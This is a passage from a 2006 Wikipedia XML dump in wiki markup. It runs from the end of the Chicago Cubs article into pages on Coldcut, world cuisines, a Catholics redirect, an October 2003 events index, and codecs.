During the 2005 offseason, the Cubs revamped their outfield, acquiring speedy leadoff man Juan Pierre from the Florida Marlins for pitcher Sergio Mitre and two minor leaguers, and signing right fielder Jacque Jones to a three year deal. They also added two new arms to their bullpen, signing veterans Bobby Howry and Scott Eyre, both to three year contracts. Disappointing center fielder Corey Patterson, who at one time was a highly touted prospect, was traded to the Baltimore Orioles for two minor leaguers. The Cubs also saw shortstop Nomar Garciaparra depart via free agency to the Los Angeles Dodgers. Starting pitcher Wade Miller, formerly of the Red Sox and Astros, was also signed, getting a 1 year, $1 million contract.

''See also:'' [[Curse of the Billy Goat]], [[Steve Bartman]], [[Grant DePorter]], [[Major League Baseball franchise post-season droughts]], [[wikiquote:Lee Elia|Lee Elia tirade]]

==Current events==
'''2005-2006 Offseason News'''

November 18, 2005 - Former SF Giants reliever [[Scott Eyre]] agrees to a [[U.S. dollar|$]]11 million, 3-year contract.

November 29, 2005 - Relief pitcher [[Bob Howry]] signs a $12 million, 3-year contract.

December 7, 2005 - [[Sergio Mitre]] and two pitching prospects are traded to the Marlins for center fielder [[Juan Pierre]]. Infielder [[John Mabry]] is also signed to a one-year contract.

December 18, 2005 - [[Nomar Garciaparra]] signs with the [[Los Angeles Dodgers]].

December 20, 2005 - Right fielder [[Jacque Jones]] signs with the Cubs for three years, $16 million.

January 9, 2006 - Center fielder [[Corey Patterson]] is traded to the [[Baltimore Orioles]] for 2 minor leaguers (Nate Spears and Carlos Perez).

January 23, 2006 - Pitcher [[Wade Miller]] signs with the Cubs for 1 year, $1 million.

February 14, 2006 - First baseman [[Derrek Lee]] and catcher [[Michael Barrett]] are named to the United States roster for the [[World Baseball Classic]].

==Quick facts==
:'''Founded:''' [[1870]], as an independent professional club.  Joined the National Association in [[1871]].  Became a charter [[National League]] member in [[1876]].
:'''Formerly known as:'''  ''White Stockings'', in the [[1870s]].  ''Colts'', in the late [[1890s]].  ''Orphans'', [[1898]], after the firing of longtime manager [[Cap Anson]].  ''Remnants'', in [[1901]], after a number of players deserted the team for the [[American League]].  The nickname ''Cubs'' was coined in [[1902]] when manager [[Frank Selee]] arrived and rebuilt the club with young, inexperienced players.  The ''[[Chicago Tribune]]'' tried to call the team the ''Spuds'' around this time, but that name did not appeal.
:'''Home ballpark:'''  
::[[23rd Street Grounds]] ([[1874]]-[[1877]]) (first as part of the [[National Association]], later as [[National League]])
::No home [[1872]]-[[1873]] (club dormant for two years after [[Great Chicago Fire]])
::[[Union Base-Ball Grounds]] ([[1871]]) (as part of the [[National Association]])
::[[Dexter Park]] ([[1870]]) (as an independent professional club)
:'''Uniform colors:'''  Blue, Red, and White (Starting in 2005, the last names were removed from home uniforms)
:'''Logo design:'''  A red &quot;C&quot; circumscribed by a blue circle.  Sometimes a smaller &quot;ubs&quot; will follow the large &quot;C&quot;, or the team will make use of a cartoon bear cub.

''See also:'' [[Sox Cubs Rivalry|Cubs-White Sox Rivalry]], [[Cardinals-Cubs Series|I-55 Series (Cubs v. Cardinals)]], [[Brewers-Cubs Series]]

==Songs==
Many songs have been written about the Cubs or are otherwise associated with the team. Here are a few:
*&quot;[[It's a Beautiful Day for a Ball Game]]&quot; - a 1950s tune by the Harry Simeone Songsters, it was the WGN radio intro music during the Quinlan-Lloyd-Boudreau years. The song was included on one of the &quot;Baseball's Greatest Hits&quot; CD collections.
*&quot;The Cubs Song (Hey Hey, Holy Mackerel)&quot; - produced in 1969 by a Chicago studio group (the Len Dresslar Singers), and later covered by several members of the team. Its title refers to the home run calls of the team's TV and radio play-by-play men, Jack Brickhouse and Vince Lloyd respectively. It became kind of infamous among fans, as a reminder of a year that ended badly for the team. However, it was played over the public address with no sense of irony, during the ceremony retiring Ron Santo's number 10 on the last day of the 2003 regular season.
*&quot;A Dying Cub Fan's Last Request&quot; - a lengthy and funny (and prophetic) song recorded &quot;live&quot; by die-hard Cubs fan and folk musician [[Steve Goodman]] in the early 1980s.
*&quot;The Land of Wrigley&quot; - by a local group called [[Stormy Weather]], inspired by the old standard &quot;Let the Good Times Roll&quot;.
*&quot;Go Cubs Go&quot; - a rah-rah tune by Steve Goodman that became the theme for the WGN radio coverage of the team during its division-winning season of 1984. Goodman died of leukemia just days before the Cubs clinched their first title in 39 years.
*&quot;Here's to You, Men in Blue&quot; - a bluegrass/country number recorded by a group of team members in 1984.
*&quot;Here Come the Cubs&quot; - a rah-rah tune done specially for the Cubs by [[The Beach Boys]], to the tune of &quot;Barbara Ann&quot;, used extensively on WGN radio during the team's division-winning season of 1989.
*&quot;Jump&quot; by [[Van Halen]] - This 1984 song (from the group's album titled ''1984'') has been played before every Cubs home game since then. It was also used as an opening-credits theme for WGN-TV broadcasts during the 1984 season.
*&quot;Get Down Tonight&quot; by [[K.C. and the Sunshine Band]] is a [[Disco]]-era number that is sometimes played when the crowd is in a frenzy after a sudden-victory finish at Wrigley.

==[[Baseball Hall of Fame]]rs==
{|
|valign=&quot;top&quot;|
Elected at least in part based on performance with Cubs
*[[Grover Cleveland Alexander|Pete Alexander]]
*[[Cap Anson]]
*[[Ernie Banks]]
*[[Mordecai Brown]]
*[[Frank Chance]] 
*[[John Clarkson]] 
*[[Kiki Cuyler]] 
*[[Johnny Evers]]
*[[Clark Griffith]]
*[[Burleigh Grimes]]
*[[Gabby Hartnett]]
*[[Billy Herman]]
*[[Rogers Hornsby]]
*[[Ferguson Jenkins]]
*[[King Kelly]]
*[[Ryne Sandberg]]
*[[Albert Spalding|Al Spalding]]
*[[Bruce Sutter]]
*[[Joe Tinker]]
*[[Billy Williams (baseball player)|Billy Williams]]
*[[Hack Wilson]]
|width=&quot;100&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
Other Hall-of-Famers associated with Cubs
*[[Richie Ashburn]]
*[[Lou Boudreau]]
*[[Roger Bresnahan]]
*[[Lou Brock]]
*[[Dizzy Dean]] 
*[[Hugh Duffy]] 
*[[Dennis Eckersley]]
*[[Jimmie Foxx]]
*[[Monte Irvin]]
*[[George Kelly (baseball player)|George Kelly]]
*[[Ralph Kiner]]
*[[Chuck Klein]]
*[[Tony Lazzeri]]
*[[Freddie Lindstrom]]
*[[Rabbit Maranville]]
*[[Robin Roberts (baseball player)|Robin Roberts]]
*[[Rube Waddell]]
*[[Hoyt Wilhelm]]
|}

==Retired numbers==
* 10 [[Ron Santo]]
* 14 [[Ernie Banks]]
* 23 [[Ryne Sandberg]]
* 26 [[Billy Williams (baseball player)|Billy Williams]]
* 42 [[Jackie Robinson]] (retired throughout the major leagues)

==Current roster==
{{:Chicago Cubs roster}}

==Minor league affiliations==
* '''AAA:''' [[Iowa Cubs]], [[Pacific Coast League]]
* '''AA:''' [[West Tenn Diamond Jaxx]], [[Southern League]]
* '''Advanced A:''' [[Daytona Cubs]], [[Florida State League]]
* '''A:''' [[Peoria Chiefs]], [[Midwest League]]
* '''Short A:''' [[Boise Hawks]], [[Northwest League]]
* '''Rookie:''' [[Mesa Cubs|AZL Cubs]], [[Arizona League]]
* '''Rookie:''' [[VSL Cubs]], [[Venezuelan Summer League]]

==See also==
*[[Chicago Cubs/Award winners and league leaders|Cubs award winners and league leaders]]
*[[Chicago Cubs/Team records|Cubs statistical records and milestone achievements]]
*[[Chicago Cubs/Players of note|Cubs players of note]]
*[[Chicago Cubs/Broadcasters|Cubs broadcasters and media]]
*[[Chicago Cubs/Managers and ownership|Cubs managers and ownership]]
*[[Rookie of the Year (film)|Rookie of the Year]] - a [[1993 in film|1993]] film utilizing the franchise in its plot

==External links==
*[http://chicago.cubs.mlb.com/NASApp/mlb/chc/homepage/chc_homepage.jsp Chicago Cubs official web site]
*[http://www.suntimes.com/index/cubs.html Chicago Suntimes Cubs News]
*[http://chicagosports.chicagotribune.com/sports/baseball/cubs/ Chicago Tribune Cubs News]
*[http://cubscast.com/ Cubscast - Chicago Cubs Podcast]
*[http://www.mlb-teams.com/cubs.php Chicago Cubs Resource - Complete information on Cubs]

{{MLB}}

{{Tribune}}

[[Category:Chicago Cubs| ]]
[[Category:Chicago culture|Cubs]]
[[Category:Major League Baseball teams]]
[[Category:Tribune Company subsidiaries]]

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  </page>
  <page>
    <title>Coldcut</title>
    <id>6655</id>
    <revision>
      <id>40787746</id>
      <timestamp>2006-02-23T00:42:32Z</timestamp>
      <contributor>
        <ip>64.109.249.224</ip>
      </contributor>
      <comment>Jonathan More's name was misspelled</comment>
      <text xml:space="preserve">[[Image:Coldcut promophoto.jpg|right|frame|Jonathan More (left) &amp; Matt Black]]{{For|the meat usually served cold in sandwiches|cold cut}}

'''Coldcut''' is a duo comprising [[England|English]] [[DJ]]s [[Matt Black]] and [[Jonathan More]].  During their career they have encompassed a wide range of styles from [[hip hop music|hip hop]] and [[rap music|rap]] to [[electronica]] and [[jazz]]-inflected sounds.   They began working together in the mid-eighties on the (then) [[pirate radio]] station [[Kiss 100|KissFM]]. Shortly thereafter they released their first single, &quot;Say Kids, What Time Is It?&quot;, which marked the first stirrings of the UK's dance/cutup scene. This was followed by their influential remix of [[Eric B and Rakim]]'s &quot;Paid in Full,&quot; which made the top 10 and was voted best [[remix]] of the year.  Featuring a prominent [[Ofra Haza]] sample and a slew of other vocal cutups, it is now regarded as both a hip hop classic and a breakthrough in the remix field.

Their first major hit as Coldcut was the house-inflected &quot;People Hold On,&quot; featuring a then-unknown [[Lisa Stansfield]].  The single took the U.K. by a storm, and the subsequent album featured such luminaries as [[Junior Reid]] (on the single &quot;Stop This Crazy Thing&quot;) and [[Queen Latifah]].

In 1991 they started their own [[record label]], [[Ninja Tune]], which continues to release groundbreaking and extremely diverse music by a small army of like-minded artists. In 1997 the duo unveiled their own real time [[video manipulation]] [[software]], [http://www.vjamm.com VJamm]. Coldcut's current live and DJ sets rely on video as much as records, taking the concept of multimedia performance into largely uncharted territory.

Conceptually, Coldcut owes as much to the ideas of [[Beat generation|beat writer]] and cut-up theorist [[William S. Burroughs]], 1970s art / [[Industrial music|industrial]] group [[Throbbing Gristle]], and the religious writings of [[J. R. &quot;Bob&quot; Dobbs]] as much as to [[Hip hop music|Hip Hop]] originators like [[Grandmaster Flash]] or later innovators [[Double D and Steinski]].

Recognizing the power inherent in Burroughs' [[cut-up technique]] and its presence in [[hip hop music]], Moore and Black have relentlessly pushed the [[DIY ethic|D.I.Y.]] ethic and an understanding of play as a means of fostering greater interaction with and understanding of the world around you. The similarities between this ethos and that of [[hacker|hacking]] need hardly be stated. [[Ninja Tune]] uses a corporate facade to communicate via the marketplace itself, an idea first implemented by Throbbing Gristle via their own [[Industrial Records]] imprint.

One of the key aspects of the [[Ninja Tune]] ethos, [[Stealth]], implies that their following of DJs and listeners are &quot;agents&quot; in a Burroughsian sense, propagating the D.I.Y. ethic of play as an essentially subversive act by replaying and manipulating media under the radar of mainstream culture. Nowadays Coldcut reach a worldwide audience through their syndicated radio show [[Solid Steel]]. Black has recently (2003) worked with [[Penny Rimbaud]] (ex [[Crass]]) on [[Crass Agenda]]'s ''Savage Utopia'' project. Coldcut have recently released a new album, Sound Mirrors which has helped build up a massive underground audience thanks to the popularity of the single ''True Skool''. The song itself features an Indian sample from a cult Bollywood era making the track incredibly popular on the bhangra and desi scene and with most of the British Asian urban nation.
[[Image:Coldcutanimated screenshot.jpg|right|thumb|The Coldcut characters from the More Beats &amp; Pieces video]]


==Discography==
* Out to Lunch with Ahead of Our Time (1988)
* Stop the Crazy Thing (1988)
* What's That Noise? (September 1989)
* Some Like It Cold (1990)
* Philosophy (1994)
* ColdKrushCuts - Mixed by Coldcut/DJ Food + DJ Krush (1996)
* [[Journeys by DJ]] - 70 minutes of Madness (1996)
* Coldcut &amp; DJ Food Fight (January 1997)
* Let Us Play! (08 September, 1997)
* Let Us Replay! (January 1999)
* People Hold On - The Best of Coldcut (02 February, 2004)
* Sound Mirrors (26 January, 2006)



==External links==
*[http://coldcut.net Coldcut]
*[http://ninjatune.net Ninja Tune]
*[http://vjamm.com VJamm - AudioVisual VJ Software]
*[http://www.britishhiphop.co.uk britishhiphop.co.uk - The original UK Hip Hop History]

[[Category:British musical groups]]

[[de:Coldcut]]
[[nl:Coldcut]]
[[fr:Coldcut]]</text>
    </revision>
  </page>
  <page>
    <title>Cuisine</title>
    <id>6656</id>
    <revision>
      <id>41786532</id>
      <timestamp>2006-03-01T19:15:34Z</timestamp>
      <contributor>
        <username>BillFlis</username>
        <id>846916</id>
      </contributor>
      <minor />
      <comment>/* Cuisines of the United States (''including Puerto Rico'') */</comment>
      <text xml:space="preserve">{{cuisine}}
A '''cuisine''' (from [[French language|French]] ''cuisine'', meaning &quot;cooking; culinary art; kitchen&quot;; itself from [[Latin]] ''coquina'', meaning the same; itself from the Latin verb ''coquere'', meaning &quot;to cook&quot;) is a specific set of [[cooking]] traditions and practices, often associated with a place of origin. [[Religion|Religious]] food laws can also exercise a strong influence on cuisine. A cuisine is primarily influenced by the ingredients that are available locally or through trade.  (For example, the &quot;Asian&quot; dish [[chop suey]] clearly reflected the adaptation of Chinese immigrant cooking styles to the different ingredients available in North America.)

==Introduction==

The last century or so has produced enormous improvements in food production, preservation, storage and shipping. Today almost every locale in the world has access to not only its traditional cuisine, but also to many other world cuisines, as well. New cuisines are constantly evolving, as certain aesthetics rise and fall in popularity among professional [[chef|chefs]] and their clientele.

In addition to [[food]], a cuisine is also often held to include [[beverage|beverages]], including [[wine]], [[liquor]], [[tea]], [[coffee]] and other drinks.  Increasingly, experts hold that it further includes the raw ingredients and original plants and animals from which they come.  The [[Slow Food]] movement is a global effort to preserve local plants, animals, and techniques of food preparation.  It has 70,000 adherents in 50 countries.

There are also different cultural attitudes to food, for example:

* In [[India]], consumption of food is regarded as an offering, a ''[[Yajna]]''. Thus the stomach is considered to be a ''homagunda'' (holy fire) and all the food consumed is an offering to the holy fire.

* In [[Japan]], [[Tea]] drinking is a fine-art and there is an elaborate ceremony about it. Not drinking tea in the right way is considered to be an act of barbarism.

The following section is an overview of world cuisines. It is incomplete. It is organized roughly by geographical area, starting in the Western hemisphere and working Eastward and from North to South. Please help complete it.

== Cuisines of the Americas ==
Cuisines of [[The Americas|the Americas]] are based on the cuisines of the countries from which the [[immigration|immigrant]] peoples came, primarily [[Europe]]. However, the traditional European cuisine has been adapted to a greater or lesser degree and many local ingredients and techniques have been added to the tradition.

=== Cuisines of Canada ===
''See also: [[Canadian cuisine|Canadian cuisines]] ''
* [[Cuisine of Atlantic Canada|Atlantic Canada]]
* [[Canadian Chinese cuisine|Canadian Chinese]]
* [[Fast food|Fast food]]
* [[Native American cuisine|First Nations]]
* [[Fusion cuisine|Fusion]]
* [[Cuisine of Quebec|Québécois]]
* [[Cuisine of Toronto|Toronto]]
* [[Cuisine of Vancouver|Vancouver]]
* [[Vegetarian cuisine|Vegetarian]]

=== Cuisines of the United States (''including Puerto Rico'') ===
''See also: [[Cuisine of the United States]]''
* [[Chinese American cuisine|Chinese American]]
* [[Barbecue]]
* [[Cuisine of California|California]]
* [[Euro-asian cuisine|Euro-asian]] (''a type of [[Fusion cuisine]]'')
* [[Fast food]]
* [[Floribbean]]
* [[Cuisine of Kentucky|Kentucky]]
* [[Cuisine of Hawaii|Hawaii]]
* [[Cuisine of the Midwestern United States|Midwest]]
* [[Native American cuisine#Native American Cuisine of the United_States|Native American]]
* [[Cuisine of New England|New England]]
* [[Cuisine of New York City|New York City]]
* [[Cuisine of the Pennsylvania Dutch|Pennsylvania Dutch]]
* [[Cuisine of Philadelphia|Philadelphia]]
* [[Cuisine of Puerto Rico|Puerto Rico]]
* [[Cuisine of the Southern United States|Southern]]
** [[Cajun cuisine|Cajun]]
** [[Louisiana Creole cuisine|Creole]]
** [[Soul food]]
* [[Cuisine of the Southwestern United States|Southwest]]
** [[Tex-Mex cuisine|Tex-Mex]]

=== Cuisines of the Caribbean ===
''See also: [[Cuisine of the Caribbean]]''
* [[Cuisine of Cuba|Cuba]]
* [[Cuisine of Dominican republic|Dominican republic]]
* [[Cuisine of Jamaica|Jamaica]]
* [[Cuisine of Puerto Rico|Puerto Rico]]

=== Cuisines of Latin America ===
''See also: [[Latin American cuisine]], [[Cuisine of South America]]''

* [[Cuisine of Argentina|Argentina]]
* [[Bolivian cuisine|Bolivia]]
* [[Cuisine of Brazil|Brazil]]
* [[Colombian cuisine|Colombia]]
* [[Cuisine of Costa Rica|Costa Rica]]
* [[Cuisine of Cuba|Cuba]]
* [[Cuisine of Mexico|Mexico]]
* [[Cuisine of Nicaragua|Nicaragua]]
* [[Paraguayan cuisine|Paraguay]]
* [[Peruvian cuisine|Peru]]
* [[Cuisine of El Salvador|El Salvador]]
* [[Cuisine of Uruguay|Uruguay]]
* [[Cuisine of Venezuela|Venezuela]]
* [[Cuisine of the Andes|Andes Region]]
* [[Native American cuisine|Native American]]

== Cuisines of Europe ==
''See also: [[Cuisine of Europe]]''

===Cuisines of Northern Europe ===
* [[Cuisine of Austria|Austrian]]
* [[Cuisine of Belgium|Belgium]]
* [[British cuisine|British]]
** [[Modern British cuisine|Modern British]]
* [[Cuisine of Denmark|Denmark]]
* [[Cuisine of Germany|Germany]]
* [[Cuisine of Finland|Finland]]
* [[French cuisine|French]]
** [[Provencal cuisine|Provencal]]
* [[Cuisine of Norway|Norway]]
* [[Cuisine of Hungary|Hungary]]
* [[Polish cuisine|Polish]]
* [[Russian cuisine|Russian]]
* [[Slovak cuisine |Slovakia]]
* [[Cuisine of Sweden|Sweden]]

=== Cuisines of the Mediterranean ===
''See also: [[Cuisine of the Mediterranean]]''
* [[Cuisine of Portugal|Portugal]]
* [[Cuisine of Spain|Spain]]
** [[Cuisine of Catalonia|Catalonia]]
* [[Cuisine of Italy|Italy]] excluding Sicily
* [[Cuisine of Sicily|Sicily]]
* [[Cuisine of Lebanon|Lebanon]]
* Cuisines of the [[Balkans]]
** [[Cuisine of Albania|Albania]]
** [[Bulgarian cuisine|Bulgaria]]
** [[Cuisine of Croatia|Croatia]]
** [[Cuisine of Greece|Greece]]
** [[Romanian cuisine|Romania]]
** [[Cuisine of Turkey|Turkey]]
** [[Cuisine of Serbia|Serbia]]
* [[Cuisine of Armenia|Armenia]]

== Cuisines of Africa ==
''See also: [[Cuisine of Africa]]''

* [[Cuisine of West Africa|West Africa]]
* [[Cuisine of Ethiopia|Ethiopia]]
* [[Cuisine of Morocco|Morocco]]
* [[Cuisine of South Africa|South Africa]]
* [[Cuisine of the Democratic Republic of the Congo|Democratic Republic of the Congo]]

== Cuisines of the Middle East ==
''See also: [[Cuisine of the Middle East]]''
* [[Arab cuisine|Arab]]
* [[Assyrian cuisine|Assyrian]]
* [[Kashrut|Kosher]]
* [[Cuisine of Lebanon|Lebanon]]
* [[Persian cuisine|Persia]]

== Cuisines of the Indian Subcontinent ==
Cuisines of the [[Indian subcontinent]] includes cuisines from the peninsular region of South Asia, which includes India, Bangladesh, and Pakistan, usually also Sri Lanka, Nepal and Bhutan. One characteristic component of the cuisines of these regions is rice and curry dishes.  
''See also: [[Cuisine of India]]''

* '''India'''
** ''North Indian cuisines''
*** [[Punjabi_cuisine|Punjabi cuisine]]
*** [[Cuisine of Kashmir|Kashmiri cuisine]]
*** [[Benarasi_cuisine|Benarasi cuisine]] 
** ''South Indian cuisines''
*** [[Kerala_cuisine|Kerala cuisine]]
*** [[Andhra_cuisine|Andhra cuisine]]
*** [[cuisine_of_Karnataka|Karnataka cuisine]]
*** [[Tamil_cuisine|Tamil cuisine]]
** ''West Indian cuisines''
*** [[Maharashtrian_cuisine|Maharashtrian cuisine]] 
*** [[Malvani_cuisine|Malvani cuisine]]
*** [[Goan|Goan cuisine]]
*** [[Rajasthani_cuisine|Rajasthani Cuisine]]
*** [[Gujarati_cuisine|Gujarati cuisine]]
** ''East Indian Cuisines''
*** [[Bengali_cuisine|West Bengali Cuisine]]
*** [[Assamese_cuisine|Assamese cuisine]]
*** [[Cuisine_of_Bihar|Bihari Cuisine]]
*** [[Oriya_cuisine|Oriya Cuisine]]
*** [[Anglo-Indian_cuisine|Anglo-Indian Cuisine]]

* '''Bangladesh'''
**[[Bengali cuisine|Bangladeshi cuisine]]

* '''Pakistan'''
** [[Cuisine of Pakistan|Pakistani cuisine]]

* '''Sri Lanka'''
** [[Cuisine of Sri Lanka|Sri Lankan cuisine]]

== Cuisines of East Asia ==
''See also: [[Cuisine of Asia]]''
* [[Cuisine of Cambodia|Cambodia]]
* [[Cuisine of China|China]]
** [[Chinese Buddhist cuisine|Chinese Buddhist]]
** [[Cantonese cuisine|Cantonese]]
** [[Chiuchow cuisine|Chiuchow]]
** [[Hakka cuisine|Hakka]]
** [[Hunan cuisine|Hunan]]
** [[Chinese Islamic cuisine|Islamic]]
** [[Mandarin cuisine|Mandarin]]
** [[Shanghai cuisine|Shanghai]]
** [[Szechuan cuisine|Szechuan]]
** [[Taiwanese cuisine|Taiwanese]]
* [[Cuisine of Indonesia|Indonesia]]
* [[Cuisine of Japan|Japan]]
* [[Cuisine of Korea|Korea]]
* [[Cuisine of Laos|Laos]]
* [[Cuisine of Malaysia|Malaysia]]
** [[Penang cuisine|Penang]]
** [[Ipoh cuisine|Ipoh]]
* [[Cuisine of Mongolia|Mongolia]]
* [[Cuisine of Philippines|The Philippines]]
* [[Cuisine of Singapore|Singapore]]
* [[Cuisine of Thailand|Thailand]]
* [[Cuisine of Tibet|Tibet]]
* [[Cuisine of Vietnam|Vietnam]]

== Cuisines of Oceania ==
* [[Cuisine of Australia|Australia]]
*[[Cuisine of Hawaii|Hawaii]]
* [[Cuisine of Fiji|Fiji]]
* [[New Zealand cuisine|New Zealand]]
* [[Cuisine of Polynesia|Polynesia]]
* [[Nauruan cuisine|Nauru]]

== Non-regional cuisines ==
* [[Fast food]], and its nemesis [[Slow food]] which preserves regional cuisines
* [[Fusion cuisine|Fusion]]
* [[Jewish cuisine|Jewish]]
* [[Raw food diet]]
* [[Vegan cuisine|Vegan]]
* [[Vegetarian cuisine|Vegetarian]]

== See also ==
* [[Wikipedia Cookbook]]
* [[Cooking]]

== External links ==
*[http://www.recipes4ever.com Recipes and Food]
{{Wikibookspar|Cookbook|Cuisine of India}}
{{Wikibookspar|Cookbook|Cuisine of Lebanon}}

[[Category:Cuisine|*]]
* [http://www.toque-et-verre.com/ La Toque &amp; le Verre - OnLine] (french) La cuisine des chefs
[[bn:&amp;#2480;&amp;#2472;&amp;#2509;&amp;#2471;&amp;#2472;&amp;#2474;&amp;#2509;&amp;#2480;&amp;#2467;&amp;#2494;&amp;#2482;&amp;#2496;]]
[[de:Kochkunst]] 
[[eo:Kuirarto]]
[[es:Gastronomía]]
[[fr:Cuisine]]
[[io:Koquarto]]
[[it:Cucina]] 
[[ja:&amp;#26009;&amp;#29702;]]
[[ko:&amp;#50836;&amp;#47532;]] 
[[li:Kaokkuns]]
[[zh:&amp;#28921;&amp;#39274;]]
[[nl:Kookkunst]]
[[pl:kulinaria]]
* [http://www.homestyle-recipes.com/ Crock Pot Cuisine]</text>
    </revision>
  </page>
  <page>
    <title>Catholics</title>
    <id>6657</id>
    <revision>
      <id>15904781</id>
      <timestamp>2004-05-17T18:29:43Z</timestamp>
      <contributor>
        <username>Dogface</username>
        <id>18290</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Roman Catholic Church]]</text>
    </revision>
  </page>
  <page>
    <title>October 2003</title>
    <id>6658</id>
    <revision>
      <id>41157833</id>
      <timestamp>2006-02-25T12:01:30Z</timestamp>
      <contributor>
        <username>Pcb21</username>
        <id>7320</id>
      </contributor>
      <text xml:space="preserve">__NOTOC__

[[October]] [[2003]] : [[January 2003|January]] - [[February 2003|February]] - [[March 2003|March]] - [[April 2003|April]] - [[May 2003|May]] - [[June 2003|June]] - [[July 2003|July]] - [[August 2003|August]] - [[September 2003|September]] - '''October''' - [[November 2003|November]] - [[December 2003|December]]

==Events==

&lt;table align=&quot;right&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border: 1px solid  #000000; margin-left: 8px&quot;&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #fff5f5; padding-top: 0.4em; padding-bottom: 0.3em; padding-left: 8px; padding-right: 8px&quot;&gt;

'''See also:'''

*[[Japan general election, 2003|Japan general election]]
*[[2003 - 2004 occupation of Iraq timeline|Iraq timeline]]
*[[Politics of Liberia|Liberian crisis]]
*[[North Korea nuclear weapons program|North Korea crisis]]
*[[Hutton Inquiry]]
*[[Bloody Sunday (Northern Ireland 1972)|Bloody Sunday Inquiry]]
*[[Road map for peace]]
*[[Israeli-Palestinian conflict]]
*[[U.S. presidential election, 2004|U.S. Presidential Election]]
*[[Same-sex marriage in Canada|Same-sex marriage]]
*[[SCO v. IBM Linux lawsuit|SCO v. IBM]]
*[[War on Terrorism]]
*[[Afghanistan timeline October 2003]]
*[[2003 Rugby Union World Cup]]
&lt;/table&gt;

{{:October 31, 2003}}
{{:October 30, 2003}}
{{:October 29, 2003}}
{{:October 28, 2003}}
{{:October 27, 2003}}
{{:October 26, 2003}}
{{:October 25, 2003}}
{{:October 24, 2003}}
{{:October 23, 2003}}
{{:October 22, 2003}}
{{:October 21, 2003}}
{{:October 20, 2003}}
{{:October 19, 2003}}
{{:October 18, 2003}}
{{:October 17, 2003}}
{{:October 16, 2003}}
{{:October 15, 2003}}
{{:October 14, 2003}}
{{:October 13, 2003}}
{{:October 12, 2003}}
{{:October 11, 2003}}
{{:October 10, 2003}}
{{:October 9, 2003}}
{{:October 8, 2003}}
{{:October 7, 2003}}
{{:October 6, 2003}}
{{:October 5, 2003}}
{{:October 4, 2003}}
{{:October 3, 2003}}
{{:October 2, 2003}}
{{:October 1, 2003}}
{{Events by month links}}
[[Category:2003|*2003-10]]

[[af:Oktober 2003]]
[[de:Oktober 2003]]
[[et:Oktoober 2003]]
[[el:Οκτώβριος 2003]]
[[es:Octubre de 2003]]
[[fr:Octobre 2003]]
[[nl:Oktober 2003]]
[[ja:「最近の出来事」2003年10月]]
[[pl:Październik 2003]]
[[sk:Október 2003]]
[[th:ตุลาคม พ.ศ. 2546]]
[[fi:Lokakuu 2003]]
[[zh:2003年10月]]</text>
    </revision>
  </page>
  <page>
    <title>Codec</title>
    <id>6660</id>
    <revision>
      <id>42023845</id>
      <timestamp>2006-03-03T07:40:09Z</timestamp>
      <contributor>
        <username>Amckern</username>
        <id>280880</id>
      </contributor>
      <minor />
      <comment>/* [[Comparison]]'s */</comment>
      <text xml:space="preserve">:''For other uses of '''codec''', see [[Codec (disambiguation)]].

'''Codec''' is a [[portmanteau]] of either ''''Co'''mpressor-'''Dec'''ompressor', ''''Co'''der-'''Dec'''oder', or ''''Co'''mpression/'''Dec'''ompression algorithm' which describes a device or [[computer program|program]] capable of performing [[Program transformation|transformation]]s on a [[data]] stream or [[signal (information theory)|signal]]. 

Codecs encode a stream or signal for transmission, storage or encryption and decode it for viewing or editing. Codecs are often used in [[Video teleconference|videoconferencing]] and [[streaming media]] solutions. A video camera's [[Analog-to-digital converter|ADC]] converts its analog signals into digital signals, which are then passed through a [[video codec|video compressor]] for digital transmission. A receiving device then runs the signal through a video decompressor, then a [[Digital-to-analog converter|DAC]] for analog display. An [[audio codec|audio compressor]] converts analog audio signals into digital signals for transmission. A receiving device then converts the digital signals back to analog using an audio decompressor, for playback.

The raw encoded form of audio and video data is often called '''essence''', to distinguish it from the [[metadata ]]information that together make up the information content of the stream and any &quot;wrapper&quot; data that is then added to aid access to or improve the [[Robust|robustness]] of the stream. 

Most codecs are [[lossy]], in order to get a reasonably small file size. There are [[lossless]] codecs as well, but for most purposes the almost imperceptible increase in quality is not worth the considerable increase in data size. The main exception is if the data will undergo more processing in the future, in which case the repeated lossy encoding would damage the eventual quality too much.

Many [[multimedia]] data streams need to contain both [[Sound|audio]] and [[video]] data, and often some form of metadata that permits synchronization of the audio and video.  Each of these three streams may be handled by different programs, processes, or hardware; but for the multimedia data stream to be useful in stored or transmitted form, they must be [[Encapsulation|encapsulated]] together in a [[container format]]. 

An [[endec]] is a similar (but ''not'' identical) concept for [[hardware]].

It must be noted that while many people explain that [[AVI]] is a codec, they are in-correct - AVI (Nowadays) is a [[container format]], that many codecs might use (although not to [[ISO]]), such as [[divx]], [[xvid]], etc.

==See also==
*[[Audio codec]], [[Video codec]]
*[[Audio signal processing]]
*[[Digital signal processing]]
*[[List of codecs]]
*[[Lossless data compression]]
*[[Lossy data compression]]
*[[Multimedia compression]]
*[[Open source codecs and containers]]
'''[[Comparison]]'s'''
**[[Comparison of audio codecs]]
**[[Comparison of container formats]]
**[[Comparison of video codecs]]

==External links==
*[http://www.fourcc.org/codecs.php List of video codecs from FOURCC]
*[http://www.free-codecs.com/ Free-Codecs.com]
*[http://www.xpcodecpack.com/ XP Codec Pack]
*[http://www.omiod.com/codecs.asp Exhaustive list of audio &amp; video codecs]
*[http://www.elecard.com/ MPEG-1/-2/-4 Codec Packs]
*[http://www.moviecodec.com/ Discussions of codecs]
*[http://www.en.voipforo.com/codec/codecs.php VoIP codecs]
*[http://awaken.typepad.com/getting_louder/2005/12/format_size_com.html Getting Louder] - Comparison of file sizes produced by popular Codecs
*[http://discussions.apple.com/thread.jspa?messageID=1558248] - Mac OS X QuickTime codecs and components http://discussions.apple.com/thread.jspa?messageID=1558248
[[Category:Digital signal processing]]
[[Category:Computing portmanteaus]]

&lt;!-- interwiki --&gt;

[[af:Codec]]
[[ca:Còdec]]
[[cs:Kodek]]
[[de:Codec]]
[[es:Códec]]
[[fr:Codec]]
[[hr:Codec]]
[[hu:Kodek]]
[[it:Codec]]
[[ja:&amp;#12467;&amp;#12540;&amp;#12487;&amp;#12483;&amp;#12463;]]
[[nl:Codec]]
[[pl:Kodek]]
[[ru:&amp;#1050;&amp;#1086;&amp;#1076;&amp;#1077;&amp;#1082;]]
[[fi:Koodekki]]
